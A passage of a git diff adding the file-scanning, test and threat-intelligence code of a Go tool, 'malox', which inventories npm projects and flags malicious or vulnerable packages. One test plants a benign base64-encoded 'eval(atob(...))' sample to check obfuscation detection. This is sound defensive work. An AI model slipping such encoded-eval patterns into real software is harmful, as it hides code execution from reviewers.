snapshot == nil { + return previousIndex{files: map[string]File{}} + } + index := previousIndex{ + files: make(map[string]File, len(snapshot.Files)), + hasSnapshot: true, + } + for _, file := range snapshot.Files { + index.files[file.Path] = file + } + return index +} + +func classifyInitialState(file, previous File, hasPrevious bool, hasSnapshot bool) FileState { + if !hasPrevious { + if !hasSnapshot { + return FileStatePreviouslyUnscanned + } + return FileStateAdded + } + if previous.SHA256 == "" { + return FileStatePreviouslyUnscanned + } + if reusableHash(file, previous, hasPrevious) { + return FileStateUnchanged + } + return FileStateModified +} + +func classifyHashedState(file, previous File, hasPrevious bool, hasSnapshot bool) FileState { + if !hasPrevious { + if hasSnapshot { + return FileStateAdded + } + return FileStatePreviouslyUnscanned + } + if previous.SHA256 == "" { + return FileStatePreviouslyUnscanned + } + if sameReusableIdentity(file, previous) && file.SHA256 == previous.SHA256 { + return FileStateUnchanged + } + return FileStateModified +} + +func reusableHash(file, previous File, hasPrevious bool) bool { + return hasPrevious && + file.Status == StatusScanned && + previous.Status == StatusScanned && + previous.SHA256 != "" && + sameReusableIdentity(file, previous) +} + +func sameReusableIdentity(file, previous File) bool { + return file.Path == previous.Path && + file.Size == previous.Size && + file.ModifiedTime.Equal(previous.ModifiedTime) && + file.Mode == previous.Mode && + file.SymlinkTarget == previous.SymlinkTarget && + file.PackageOwner == previous.PackageOwner +} + +func scanID(t time.Time) string { + return t.UTC().Format("2006-01-02T15-04-05.000000000Z") +} + +// Classify intentionally starts with extension and path heuristics. Milestones 4 +// and 8 replace these temporary limits with manifest-aware and JavaScript-aware +// classification. +func Classify(rel string) string { + base := strings.ToLower(lastPathElement(rel)) + switch { + case base == "package.json": + return "node_manifest" + case isLockfilePath(rel): + return "lockfile" + } + + switch strings.ToLower(filepath.Ext(base)) { + case ".js", ".mjs", ".cjs": + return "javascript" + case ".jsx": + return "javascript_react" + case ".ts", ".mts", ".cts": + return "typescript" + case ".tsx": + return "typescript_react" + case ".json", ".jsonc": + return "json" + case ".yaml", ".yml": + return "yaml" + case ".toml": + return "toml" + case ".md", ".markdown": + return "markdown" + case ".sh", ".bash", ".zsh": + return "shell" + case ".env": + return "environment" + default: + return "unknown" + } +} + +// PackageOwner returns node_modules ownership for common npm and pnpm layouts. +func PackageOwner(rel string) string { + return node.PackageOwner(rel) +} + +func detectPackageManagerSignal(rel string, isDir bool) (PackageManagerSignal, bool) { + return node.DetectPackageManagerSignal(rel, isDir) +} + +func isLockfilePath(rel string) bool { + switch strings.ToLower(lastPathElement(rel)) { + case "package-lock.json", "npm-shrinkwrap.json", "pnpm-lock.yaml", "yarn.lock", "bun.lock", "bun.lockb", "deno.lock": + return true + default: + return false + } +} + +func sortSnapshotData( + files []File, + skippedFiles []SkippedFile, + skippedDirs []SkippedDirectory, + issues []Issue, + signals []PackageManagerSignal, +) { + slices.SortFunc(files, func(a, b File) int { + return cmp.Compare(a.Path, b.Path) + }) + slices.SortFunc(skippedFiles, func(a, b SkippedFile) int { + return cmp.Or(cmp.Compare(a.Path, b.Path), cmp.Compare(a.Reason.Code, b.Reason.Code)) + }) + slices.SortFunc(skippedDirs, func(a, b SkippedDirectory) int { + return cmp.Or(cmp.Compare(a.Path, b.Path), cmp.Compare(a.Reason.Code, b.Reason.Code)) + }) + slices.SortFunc(issues, func(a, b Issue) int { + return cmp.Or(cmp.Compare(a.Path, b.Path), cmp.Compare(a.Code, b.Code)) + }) + slices.SortFunc(signals, func(a, b PackageManagerSignal) int { + return cmp.Or( + cmp.Compare(a.Manager, b.Manager), + cmp.Compare(a.Kind, b.Kind), + cmp.Compare(a.Path, b.Path), + ) + }) +} + +func uniqueSignals(signals []PackageManagerSignal) []PackageManagerSignal { + if len(signals) == 0 { + return nil + } + unique := signals[:0] + var previous PackageManagerSignal + for i, signal := range signals { + if i > 0 && signal == previous { + continue + } + unique = append(unique, signal) + previous = signal + } + return unique +} + +// RefreshSummary recalculates aggregate counts after scan-adjacent enrichments. +func RefreshSummary(snapshot *Snapshot) { + if snapshot == nil { + return + } + snapshot.Summary = summarize(*snapshot) +} + +func summarize(snapshot Snapshot) Summary { + summary := Summary{ + TotalFiles: len(snapshot.Files), + SkippedFiles: len(snapshot.SkippedFiles), + SkippedDirectories: len(snapshot.SkippedDirectories), + PackageManagers: len(snapshot.PackageManagers), + } + + owners := map[string]struct{}{} + for _, file := range snapshot.Files { + switch file.Status { + case StatusScanned: + summary.ScannedFiles++ + case StatusError: + summary.ErroredFiles++ + } + if file.PackageOwner != "" { + summary.NodeModulesFiles++ + owners[file.PackageOwner] = struct{}{} + } + } + summary.NodeModulesPackages = len(owners) + for _, finding := range snapshot.Findings { + summary.Findings++ + if finding.Suppressed { + summary.SuppressedFindings++ + } + if finding.Blocking && !finding.Suppressed { + summary.BlockingFindings++ + } + if finding.Confidence == rules.ConfidenceWeakSignal { + summary.WeakFindings++ + } + } + return summary +} + +func nodeFileRefs(files []File) []node.FileRef { + refs := make([]node.FileRef, 0, len(files)) + for _, file := range files { + refs = append(refs, node.FileRef{ + Path: file.Path, + SHA256: file.SHA256, + Status: string(file.Status), + }) + } + return refs +} + +func ruleFileRefs(files []File) []rules.File { + refs := make([]rules.File, 0, len(files)) + for _, file := range files { + if file.Status != StatusScanned { + continue + } + refs = append(refs, rules.File{ + Path: file.Path, + SHA256: file.SHA256, + Type: file.Type, + PackageOwner: file.PackageOwner, + Size: file.Size, + }) + } + return refs +} + +func jsAnalysisFileRefs(files []File) []jsanalysis.File { + refs := make([]jsanalysis.File, 0, len(files)) + for _, file := range files { + if file.Status != StatusScanned { + continue + } + refs = append(refs, jsanalysis.File{ + Path: file.Path, + SHA256: file.SHA256, + Type: file.Type, + PackageOwner: file.PackageOwner, + Size: file.Size, + }) + } + return refs +} + +func ruleWarningIssues(warnings []rules.Warning) []Issue { + if len(warnings) == 0 { + return nil + } + issues := make([]Issue, 0, len(warnings)) + for _, warning := range warnings { + issues = append(issues, Issue{ + Path: warning.Path, + Code: "rule_" + warning.Code, + Message: warning.Message, + }) + } + return issues +} + +func jsAnalysisWarningIssues(warnings []rules.Warning) []Issue { + if len(warnings) == 0 { + return nil + } + issues := make([]Issue, 0, len(warnings)) + for _, warning := range warnings { + issues = append(issues, Issue{ + Path: warning.Path, + Code: warning.Code, + Message: warning.Message, + }) + } + return issues +} + +func buildProjectID(root string, files []File) string { + h := sha256.New() + writeHashPart(h, "root", filepath.Clean(root)) + + for _, file := range files { + if !isLockfilePath(file.Path) { + continue + } + writeHashPart(h, "lockfile", file.Path) + writeHashPart(h, "size", fmt.Sprintf("%d", file.Size)) + writeHashPart(h, "modified_time", file.ModifiedTime.UTC().Format(time.RFC3339Nano)) + writeHashPart(h, "mode", file.Mode) + writeHashPart(h, "sha256", file.SHA256) + writeHashPart(h, "status", string(file.Status)) + } + + return "sha256:" + hex.EncodeToString(h.Sum(nil)) +} + +func writeHashPart(w io.Writer, key, value string) { + _, _ = io.WriteString(w, key) + _, _ = io.WriteString(w, "\x00") + _, _ = io.WriteString(w, value) + _, _ = io.WriteString(w, "\x00") +} + +func displayPath(root, path string) string { + rel, err := fileid.SnapshotPath(root, path) + if err == nil { + return rel + } + return filepath.ToSlash(filepath.Base(path)) +} + +func cleanErrorMessage(root string, err error) string { + msg := err.Error() + cleanRoot := filepath.Clean(root) + msg = strings.ReplaceAll(msg, cleanRoot+string(os.PathSeparator), "") + msg = strings.ReplaceAll(msg, cleanRoot, ".") + return msg +} + +func lastPathElement(rel string) string { + rel = strings.TrimSuffix(filepath.ToSlash(rel), "/") + if rel == "" { + return "." + } + parts := strings.Split(rel, "/") + return parts[len(parts)-1] +} diff --git a/internal/scan/scan_test.go b/internal/scan/scan_test.go new file mode 100644 index 0000000..aa20111 --- /dev/null +++ b/internal/scan/scan_test.go @@ -0,0 +1,368 @@ +package scan + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "runtime" + "slices" + "testing" + "time" +) + +func TestProjectScansFilesDeterministically(t *testing.T) { + root := t.TempDir() + modTime := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + writeTestFile(t, root, "package.json", "{}\n", modTime) + writeTestFile(t, root, "src/index.js", "console.log('ok')\n", modTime) + writeTestFile(t, root, "node_modules/@scope/pkg/index.js", "module.exports = 1\n", modTime) + writeTestFile(t, root, "node_modules/.cache/ignored.js", "ignored\n", modTime) + writeTestFile(t, root, ".git/config", "ignored\n", modTime) + + snapshot, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 4, + MaxFileSize: 1024, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() error = %v", err) + } + + if snapshot.SchemaVersion != SchemaVersion { + t.Fatalf("SchemaVersion = %q, want %q", snapshot.SchemaVersion, SchemaVersion) + } + if snapshot.ScannerVersion != "test-version" { + t.Fatalf("ScannerVersion = %q, want test-version", snapshot.ScannerVersion) + } + if snapshot.ProjectRoot != "." { + t.Fatalf("ProjectRoot = %q, want .", snapshot.ProjectRoot) + } + + paths := make([]string, 0, len(snapshot.Files)) + for _, file := range snapshot.Files { + paths = append(paths, file.Path) + } + wantPaths := []string{ + "node_modules/@scope/pkg/index.js", + "package.json", + "src/index.js", + } + if !slices.Equal(paths, wantPaths) { + t.Fatalf("files = %#v, want %#v", paths, wantPaths) + } + + index := findFile(t, snapshot, "src/index.js") + if index.Status != StatusScanned { + t.Fatalf("src/index.js status = %q, want scanned", index.Status) + } + if index.State != FileStatePreviouslyUnscanned { + t.Fatalf("src/index.js state = %q, want previously_unscanned", index.State) + } + if index.SHA256 != sha256String("console.log('ok')\n") { + t.Fatalf("src/index.js SHA256 = %q", index.SHA256) + } + + dependency := findFile(t, snapshot, "node_modules/@scope/pkg/index.js") + if dependency.PackageOwner != "@scope/pkg" { + t.Fatalf("PackageOwner = %q, want @scope/pkg", dependency.PackageOwner) + } + + if snapshot.Summary.ScannedFiles != 3 { + t.Fatalf("ScannedFiles = %d, want 3", snapshot.Summary.ScannedFiles) + } + if snapshot.Summary.SkippedDirectories != 2 { + t.Fatalf("SkippedDirectories = %d, want 2", snapshot.Summary.SkippedDirectories) + } + if snapshot.Summary.NodeModulesFiles != 1 || snapshot.Summary.NodeModulesPackages != 1 { + t.Fatalf("node_modules summary = files %d packages %d, want 1/1", + snapshot.Summary.NodeModulesFiles, + snapshot.Summary.NodeModulesPackages, + ) + } + + signalPaths := make([]string, 0, len(snapshot.PackageManagers)) + for _, signal := range snapshot.PackageManagers { + signalPaths = append(signalPaths, signal.Manager+":"+signal.Kind+":"+signal.Path) + } + wantSignals := []string{ + "node:dependency_directory:node_modules", + "node:manifest:package.json", + } + if !slices.Equal(signalPaths, wantSignals) { + t.Fatalf("signals = %#v, want %#v", signalPaths, wantSignals) + } +} + +func TestProjectAddsJavaScriptObfuscationFindings(t *testing.T) { + root := t.TempDir() + cacheDir := t.TempDir() + modTime := time.Date(2026, 6, 18, 12, 0, 0, 0, time.UTC) + body := "const p = 'Y29uc29sZS5sb2coMSk='; eval(atob(p));\n" + writeTestFile(t, root, "node_modules/pkg/index.js", body, modTime) + + snapshot, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 1, + MaxFileSize: 1024, + DecodedPayloadDir: cacheDir, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() error = %v", err) + } + if len(snapshot.Findings) == 0 { + t.Fatal("Findings = 0, want JavaScript obfuscation finding") + } + var decodedHash string + for _, finding := range snapshot.Findings { + if finding.RuleID == "jsanalysis:encoded-sink-flow" { + decodedHash = finding.Evidence[0].DecodedSHA256 + } + } + if decodedHash == "" { + t.Fatalf("findings = %#v, want encoded sink flow with decoded hash", snapshot.Findings) + } + if _, err := os.Stat(filepath.Join(cacheDir, decodedHash+".bin")); err != nil { + t.Fatalf("decoded payload cache not written: %v", err) + } + if snapshot.Summary.Findings != len(snapshot.Findings) || snapshot.Summary.WeakFindings == 0 { + t.Fatalf("summary = %#v, findings = %d", snapshot.Summary, len(snapshot.Findings)) + } +} + +func TestProjectReusesPreviousHashUnlessStrict(t *testing.T) { + root := t.TempDir() + modTime := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + writeTestFile(t, root, "same-size.js", "old!", modTime) + + previous, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 1, + MaxFileSize: 1024, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() previous error = %v", err) + } + + writeTestFile(t, root, "same-size.js", "new!", modTime) + reused, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 1, + MaxFileSize: 1024, + Previous: &previous, + Now: fixedNow(modTime.Add(time.Minute)), + }) + if err != nil { + t.Fatalf("Project() reused error = %v", err) + } + reusedFile := findFile(t, reused, "same-size.js") + if reusedFile.State != FileStateUnchanged { + t.Fatalf("reused state = %q, want unchanged", reusedFile.State) + } + if reusedFile.SHA256 != sha256String("old!") { + t.Fatalf("reused SHA256 = %q, want old hash", reusedFile.SHA256) + } + + strict, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 1, + MaxFileSize: 1024, + StrictHash: true, + Previous: &previous, + Now: fixedNow(modTime.Add(2 * time.Minute)), + }) + if err != nil { + t.Fatalf("Project() strict error = %v", err) + } + strictFile := findFile(t, strict, "same-size.js") + if strictFile.State != FileStateModified { + t.Fatalf("strict state = %q, want modified", strictFile.State) + } + if strictFile.SHA256 != sha256String("new!") { + t.Fatalf("strict SHA256 = %q, want new hash", strictFile.SHA256) + } +} + +func TestProjectSkipsConfiguredStateDir(t *testing.T) { + root := t.TempDir() + modTime := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + writeTestFile(t, root, "src/index.js", "console.log('ok')\n", modTime) + writeTestFile(t, root, "state/latest.json", "{}\n", modTime) + + snapshot, err := Project(t.Context(), Options{ + Root: root, + StateDir: filepath.Join(root, "state"), + ScannerVersion: "test-version", + MaxWorkers: 2, + MaxFileSize: 1024, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() error = %v", err) + } + + if len(snapshot.Files) != 1 || snapshot.Files[0].Path != "src/index.js" { + t.Fatalf("files = %#v, want only src/index.js", snapshot.Files) + } + if len(snapshot.SkippedDirectories) != 1 || snapshot.SkippedDirectories[0].Path != "state" { + t.Fatalf("SkippedDirectories = %#v, want state", snapshot.SkippedDirectories) + } +} + +func TestProjectSkipsOversizedFiles(t *testing.T) { + root := t.TempDir() + modTime := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + writeTestFile(t, root, "large.txt", "12345", modTime) + + snapshot, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 2, + MaxFileSize: 4, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() error = %v", err) + } + + file := findFile(t, snapshot, "large.txt") + if file.Status != StatusSkipped { + t.Fatalf("large.txt status = %q, want skipped", file.Status) + } + if file.SHA256 != "" { + t.Fatalf("large.txt SHA256 = %q, want empty", file.SHA256) + } + if file.SkipReason == nil || file.SkipReason.Code != "max_file_size" { + t.Fatalf("large.txt skip reason = %#v, want max_file_size", file.SkipReason) + } + if len(snapshot.SkippedFiles) != 1 || snapshot.SkippedFiles[0].Path != "large.txt" { + t.Fatalf("SkippedFiles = %#v, want large.txt", snapshot.SkippedFiles) + } +} + +func TestProjectRecordsSymlinkWithoutFollowing(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("symlink privileges vary on windows") + } + + root := t.TempDir() + modTime := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + writeTestFile(t, root, "target.js", "console.log('target')\n", modTime) + if err := os.Symlink("target.js", filepath.Join(root, "link.js")); err != nil { + t.Skipf("create symlink: %v", err) + } + + snapshot, err := Project(t.Context(), Options{ + Root: root, + ScannerVersion: "test-version", + MaxWorkers: 2, + MaxFileSize: 1024, + Now: fixedNow(modTime), + }) + if err != nil { + t.Fatalf("Project() error = %v", err) + } + + link := findFile(t, snapshot, "link.js") + if !link.Symlink { + t.Fatal("link.js Symlink = false, want true") + } + if link.SymlinkTarget != "target.js" { + t.Fatalf("link.js SymlinkTarget = %q, want target.js", link.SymlinkTarget) + } + if link.Status != StatusSkipped { + t.Fatalf("link.js status = %q, want skipped", link.Status) + } + if link.SkipReason == nil || link.SkipReason.Code != "symlink_not_followed" { + t.Fatalf("link.js skip reason = %#v, want symlink_not_followed", link.SkipReason) + } +} + +func TestClassifyAndPackageOwner(t *testing.T) { + tests := []struct { + name string + path string + wantType string + wantOwner string + }{ + { + name: "node manifest", + path: "package.json", + wantType: "node_manifest", + }, + { + name: "lockfile", + path: "pnpm-lock.yaml", + wantType: "lockfile", + }, + { + name: "scoped dependency", + path: "node_modules/@scope/name/index.ts", + wantType: "typescript", + wantOwner: "@scope/name", + }, + { + name: "nested dependency", + path: "node_modules/a/node_modules/b/index.js", + wantType: "javascript", + wantOwner: "b", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := Classify(tt.path); got != tt.wantType { + t.Fatalf("Classify() = %q, want %q", got, tt.wantType) + } + if got := PackageOwner(tt.path); got != tt.wantOwner { + t.Fatalf("PackageOwner() = %q, want %q", got, tt.wantOwner) + } + }) + } +} + +func writeTestFile(t *testing.T, root, rel, body string, modTime time.Time) { + t.Helper() + + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + if err := os.Chtimes(path, modTime, modTime); err != nil { + t.Fatal(err) + } +} + +func findFile(t *testing.T, snapshot Snapshot, rel string) File { + t.Helper() + + for _, file := range snapshot.Files { + if file.Path == rel { + return file + } + } + t.Fatalf("file %q not found in snapshot", rel) + return File{} +} + +func sha256String(value string) string { + sum := sha256.Sum256([]byte(value)) + return hex.EncodeToString(sum[:]) +} + +func fixedNow(t time.Time) func() time.Time { + return func() time.Time { + return t + } +} diff --git a/internal/scan/types.go b/internal/scan/types.go new file mode 100644 index 0000000..db17203 --- /dev/null +++ b/internal/scan/types.go @@ -0,0 +1,152 @@ +// Package scan walks a project tree and builds deterministic scan snapshots. +package scan + +import ( + "time" + + "malox/internal/node" + "malox/internal/rules" +) + +// SchemaVersion is the public scan snapshot schema emitted for milestone 2. +const SchemaVersion = "malox.scan.snapshot.v1" + +// Options configures one baseline project scan. +type Options struct { + Root string + StateDir string + ScannerVersion string + MaxWorkers int + MaxFileSize int64 + StrictHash bool + Previous *Snapshot + RulePolicies []rules.Policy + DecodedPayloadDir string + Now func() time.Time +} + +// Snapshot stores the normalized result of one completed project scan. +type Snapshot struct { + SchemaVersion string + ScannerVersion string + ScanID string + ProjectID string + ProjectRoot string + StartedAt time.Time + FinishedAt time.Time + PackageManagers []PackageManagerSignal + Node node.Inventory + ThreatSources []ThreatSourceStatus + Findings []rules.Finding + Files []File + SkippedFiles []SkippedFile + SkippedDirectories []SkippedDirectory + Errors []Issue + Summary Summary +} + +// PackageManagerSignal describes a package manager clue discovered from names. +type PackageManagerSignal = node.PackageManagerSignal + +// ThreatSourceStatus summarizes one threat source consulted during a scan. +type ThreatSourceStatus struct { + Source string `json:"source"` + Status string `json:"status"` + Mode string `json:"mode"` + FetchedAt time.Time `json:"fetched_at,omitempty"` + CacheAge string `json:"cache_age,omitempty"` + Records int `json:"records,omitempty"` + Warning string `json:"warning,omitempty"` + Required bool `json:"required,omitempty"` + SchemaVersion string `json:"schema_version,omitempty"` +} + +// File describes one filesystem entry considered by the scanner. +type File struct { + Path string + Size int64 + ModifiedTime time.Time + Mode string + Permissions string + Symlink bool + SymlinkTarget string + SHA256 string + Type string + Status Status + State FileState + SkipReason *SkipReason + PackageOwner string +} + +// Status identifies how the scanner handled a file. +type Status string + +const ( + // StatusScanned means the file was read and hashed. + StatusScanned Status = "scanned" + // StatusSkipped means the file was intentionally not read. + StatusSkipped Status = "skipped" + // StatusError means the scanner tried to read metadata or content and failed. + StatusError Status = "error" +) + +// FileState identifies how a file compares to a previous scan. +type FileState string + +const ( + // FileStatePreviouslyUnscanned means no previous file identity was available. + FileStatePreviouslyUnscanned FileState = "previously_unscanned" + // FileStateAdded means the file did not exist in the previous snapshot. + FileStateAdded FileState = "added" + // FileStateRemoved means the file existed in a previous snapshot but not the current one. + FileStateRemoved FileState = "removed" + // FileStateModified means the file identity or hash changed since the previous snapshot. + FileStateModified FileState = "modified" + // FileStateUnchanged means the file identity and hash match the previous snapshot. + FileStateUnchanged FileState = "unchanged" + // FileStateSkipped means the scanner intentionally did not read file contents. + FileStateSkipped FileState = "skipped" +) + +// SkipReason describes why a path was skipped. +type SkipReason struct { + Code string + Message string + LimitBytes int64 + ActualBytes int64 +} + +// SkippedFile reports an intentionally skipped file. +type SkippedFile struct { + Path string + Reason SkipReason +} + +// SkippedDirectory reports an intentionally skipped directory subtree. +type SkippedDirectory struct { + Path string + Reason SkipReason +} + +// Issue describes a partial scan error that did not abort the whole scan. +type Issue struct { + Path string + Code string + Message string +} + +// Summary contains aggregate scan counts for human output and quick checks. +type Summary struct { + TotalFiles int + ScannedFiles int + SkippedFiles int + ErroredFiles int + SkippedDirectories int + PackageManagers int + NodeModulesFiles int + NodeModulesPackages int + Findings int + SuppressedFindings int + BlockingFindings int + WeakFindings int +} diff --git a/internal/threat/npm.go b/internal/threat/npm.go new file mode 100644 index 0000000..90f50b6 --- /dev/null +++ b/internal/threat/npm.go @@ -0,0 +1,65 @@ +package threat + +import ( + "crypto/sha256" + "encoding/hex" + + "malox/internal/node" + "malox/internal/rules" +) + +type npmPackument struct { + Name string `json:"name"` + Versions map[string]npmVersion `json:"versions"` + Time map[string]string `json:"time,omitempty"` +} + +type npmVersion struct { + Name string `json:"name"` + Version string `json:"version"` + Deprecated string `json:"deprecated,omitempty"` + Scripts map[string]string `json:"scripts,omitempty"` + Dist npmDist `json:"dist,omitempty"` +} + +type npmDist struct { + Tarball string `json:"tarball,omitempty"` + Shasum string `json:"shasum,omitempty"` +} + +func npmDeprecatedFinding(dep node.Dependency, packument npmPackument) (rules.Finding, bool) { + version, ok := packument.Versions[dep.Version] + if !ok || version.Deprecated == "" { + return rules.Finding{}, false + } + finding := rules.Finding{ + SchemaVersion: rules.FindingSchemaVersion, + Severity: rules.SeverityMedium, + Confidence: rules.ConfidenceSuspiciousHistory, + Source: SourceNPM, + RuleID: SourceNPM + ":deprecated-version", + RuleType: "threat-intelligence", + Summary: "npm registry marks this package version as deprecated", + Path: dep.PackagePath, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: version.Dist.Tarball, + Location: &rules.Location{Path: dep.SourcePath}, + Evidence: []rules.Evidence{{ + Kind: "npm_deprecated", + Value: version.Deprecated, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: version.Dist.Tarball, + }}, + } + finding.ID = npmFindingID(finding) + return finding, true +} + +func npmFindingID(finding rules.Finding) string { + sum := sha256.Sum256([]byte(rules.FindingIdentity(finding))) + return "sha256:" + hex.EncodeToString(sum[:]) +} diff --git a/internal/threat/osv.go b/internal/threat/osv.go new file mode 100644 index 0000000..a67d04d --- /dev/null +++ b/internal/threat/osv.go @@ -0,0 +1,273 @@ +package threat + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + + "malox/internal/node" + "malox/internal/rules" +) + +type osvQueryBatchRequest struct { + Queries []osvQuery `json:"queries"` +} + +type osvQuery struct { + Package osvPackage `json:"package"` +} + +type osvPackage struct { + PURL string `json:"purl,omitempty"` + Name string `json:"name,omitempty"` + Ecosystem string `json:"ecosystem,omitempty"` +} + +type osvQueryBatchResponse struct { + Results []osvQueryResult `json:"results"` +} + +type osvQueryResult struct { + Vulns []osvRecord `json:"vulns"` +} + +type osvRecord struct { + ID string `json:"id"` + Summary string `json:"summary"` + Details string `json:"details"` + Affected []osvAffected `json:"affected"` + Aliases []string `json:"aliases"` + Severity []osvSeverity `json:"severity"` +} + +type osvAffected struct { + Package osvPackage `json:"package"` + Versions []string `json:"versions"` + Ranges []osvRange `json:"ranges"` + Database any `json:"database_specific,omitempty"` + Ecosystem any `json:"ecosystem_specific,omitempty"` +} + +type osvRange struct { + Type string `json:"type"` + Events []osvEvent `json:"events"` +} + +type osvEvent struct { + Introduced string `json:"introduced,omitempty"` + Fixed string `json:"fixed,omitempty"` +} + +type osvSeverity struct { + Type string `json:"type"` + Score string `json:"score"` +} + +func newOSVRequest(deps []node.Dependency) osvQueryBatchRequest { + req := osvQueryBatchRequest{Queries: make([]osvQuery, 0, len(deps))} + for _, dep := range deps { + req.Queries = append(req.Queries, osvQuery{Package: osvPackage{PURL: dep.PURL}}) + } + return req +} + +func osvFindings( + source string, + deps []node.Dependency, + results []osvQueryResult, + confidence rules.Confidence, +) []rules.Finding { + findings := []rules.Finding{} + for i, result := range results { + if i >= len(deps) { + break + } + for _, vuln := range result.Vulns { + findings = append(findings, recordFinding(source, deps[i], vuln.ID, vuln.summary(), confidence)) + } + } + return findings +} + +func readCachedOSVRecords(root, source string) ([]osvRecord, error) { + recordsDir := filepath.Join(root, "sources", source, "records") + records := []osvRecord{} + err := filepath.WalkDir(recordsDir, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return err + } + if entry.IsDir() || filepath.Ext(entry.Name()) != ".json" { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + var record osvRecord + if err := json.Unmarshal(data, &record); err != nil { + return fmt.Errorf("parse %q: %w", path, err) + } + records = append(records, record) + return nil + }) + if err != nil { + return nil, err + } + if len(records) == 0 { + return nil, os.ErrNotExist + } + return records, nil +} + +func (r osvRecord) affects(dep node.Dependency) bool { + for _, affected := range r.Affected { + if !affectedPackageMatches(affected.Package, dep) { + continue + } + if len(affected.Versions) == 0 && len(affected.Ranges) == 0 { + return true + } + for _, version := range affected.Versions { + if version == dep.Version { + return true + } + } + for _, versionRange := range affected.Ranges { + if rangeAffects(versionRange, dep.Version) { + return true + } + } + } + return false +} + +func affectedPackageMatches(pkg osvPackage, dep node.Dependency) bool { + if pkg.PURL != "" { + return pkg.PURL == dep.PURL || strings.TrimSuffix(pkg.PURL, "@"+dep.Version) == strings.TrimSuffix(dep.PURL, "@"+dep.Version) + } + if pkg.Name == "" { + return false + } + if !strings.EqualFold(pkg.Name, dep.Name) { + return false + } + return pkg.Ecosystem == "" || strings.EqualFold(pkg.Ecosystem, "npm") +} + +func rangeAffects(r osvRange, version string) bool { + if !strings.EqualFold(r.Type, "SEMVER") && r.Type != "" { + return false + } + introduced := "0" + for _, event := range r.Events { + if event.Introduced != "" { + introduced = event.Introduced + } + if event.Fixed != "" && compareVersion(version, event.Fixed) < 0 && compareVersion(version, introduced) >= 0 { + return true + } + } + return introduced != "" && compareVersion(version, introduced) >= 0 +} + +func compareVersion(a, b string) int { + aa := versionParts(a) + bb := versionParts(b) + for i := range max(len(aa), len(bb)) { + var av, bv int + if i < len(aa) { + av = aa[i] + } + if i < len(bb) { + bv = bb[i] + } + if av < bv { + return -1 + } + if av > bv { + return 1 + } + } + return 0 +} + +func versionParts(version string) []int { + version = strings.TrimPrefix(version, "v") + version, _, _ = strings.Cut(version, "-") + chunks := strings.Split(version, ".") + out := make([]int, 0, len(chunks)) + for _, chunk := range chunks { + var value int + for _, r := range chunk { + if r < '0' || r > '9' { + break + } + value = value*10 + int(r-'0') + } + out = append(out, value) + } + return out +} + +func (r osvRecord) summary() string { + if strings.TrimSpace(r.Summary) != "" { + return r.Summary + } + if strings.TrimSpace(r.Details) != "" { + details := strings.TrimSpace(r.Details) + if len(details) > 140 { + return details[:140] + } + return details + } + return "upstream advisory matched dependency" +} + +func recordFinding( + source string, + dep node.Dependency, + advisoryID string, + summary string, + confidence rules.Confidence, +) rules.Finding { + severity := rules.SeverityHigh + if confidence == rules.ConfidenceConfirmedMalicious { + severity = rules.SeverityCritical + } + finding := rules.Finding{ + SchemaVersion: rules.FindingSchemaVersion, + Severity: severity, + Confidence: confidence, + Source: source, + RuleID: source + ":" + advisoryID, + RuleType: "threat-intelligence", + Summary: summary, + Path: dep.PackagePath, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + Location: &rules.Location{Path: dep.SourcePath}, + Blocking: confidence == rules.ConfidenceConfirmedMalicious, + Evidence: []rules.Evidence{{ + Kind: "advisory", + Value: advisoryID, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + }}, + } + finding.ID = threatFindingID(finding) + return finding +} + +func threatFindingID(finding rules.Finding) string { + sum := sha256.Sum256([]byte(rules.FindingIdentity(finding))) + return "sha256:" + hex.EncodeToString(sum[:]) +} diff --git a/internal/threat/threat.go b/internal/threat/threat.go new file mode 100644 index 0000000..a28d75f --- /dev/null +++ b/internal/threat/threat.go @@ -0,0 +1,579 @@ +// Package threat queries cache-aware threat-intelligence sources. +package threat + +import ( + "bytes" + "cmp" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "os" + "path/filepath" + "slices" + "strings" + "time" + + "malox/internal/cache" + "malox/internal/node" + "malox/internal/rules" + "malox/internal/scan" +) + +const ( + SourceLocalPolicy = "local-policy" + SourceOSV = "osv" + SourceOpenSSF = "openssf-malicious-packages" + SourceGitHubAdvisory = "github-advisory-database" + SourceNPM = "npm" + + defaultOSVURL = "https://api.osv.dev" + defaultNPMRegistryURL = "https://registry.npmjs.org" + 